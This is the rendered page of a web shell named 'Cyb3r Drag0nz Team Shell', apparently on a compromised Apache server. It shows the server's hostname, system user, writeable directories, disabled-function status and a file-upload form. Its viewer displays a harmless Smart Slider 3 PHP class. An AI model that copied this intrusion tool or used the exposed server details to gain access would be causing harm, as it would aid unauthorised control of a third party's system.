Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux server1.cbinetwhm.bi 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : fenacobu (1017)
PHP Version : 8.1.34
Disable Functions : NONE
Current Directory : /home/fenacobu/www/libraries/smartslider3/src/Framework/Form/
Directory Status: Writeable | Document Root: Writeable

Upload File







Viewing: /home/fenacobu/www/libraries/smartslider3/src/Framework/Form/AbstractContainer.php

<?php


namespace Nextend\Framework\Form;


abstract class AbstractContainer implements ContainerContainedInterface {

    use TraitContainer;

    /**
     * @var ContainerContainedInterface
     */
    protected $first, $last;

    protected $controlName = '';

    /**
     * @var ContainerInterface;
     */
    private $previous, $next;

    public function getPrevious() {
        return $this->previous;
    }

    /**
     * @param ContainedInterface|null $element
     */
    public function setPrevious($element = null) {
        $this->previous = $element;
    }

    public function getNext() {
        return $this->next;
    }

    /**
     * @param ContainedInterface|null $element
     */
    public function setNext($element = null) {
        $this->next = $element;
        if ($element) {
            $element->setPrevious($this);
        }
    }

    public function remove() {
        $this->getParent()
             ->removeElement($this);
    }

    public function render() {
        $this->renderContainer();
    }

    public function renderContainer() {
        $element = $this->first;
        while ($element) {
            $element->renderContainer();
            $element = $element->getNext();
        }
    }

    /**
     * @return string
     */
    public function getControlName() {
        return $this->controlName;
    }

    /**
     * @param string $controlName
     */
    public function setControlName($controlName) {
        $this->controlName = $controlName;
    }
}

Cyb3r Drag0nz Team • Google Edition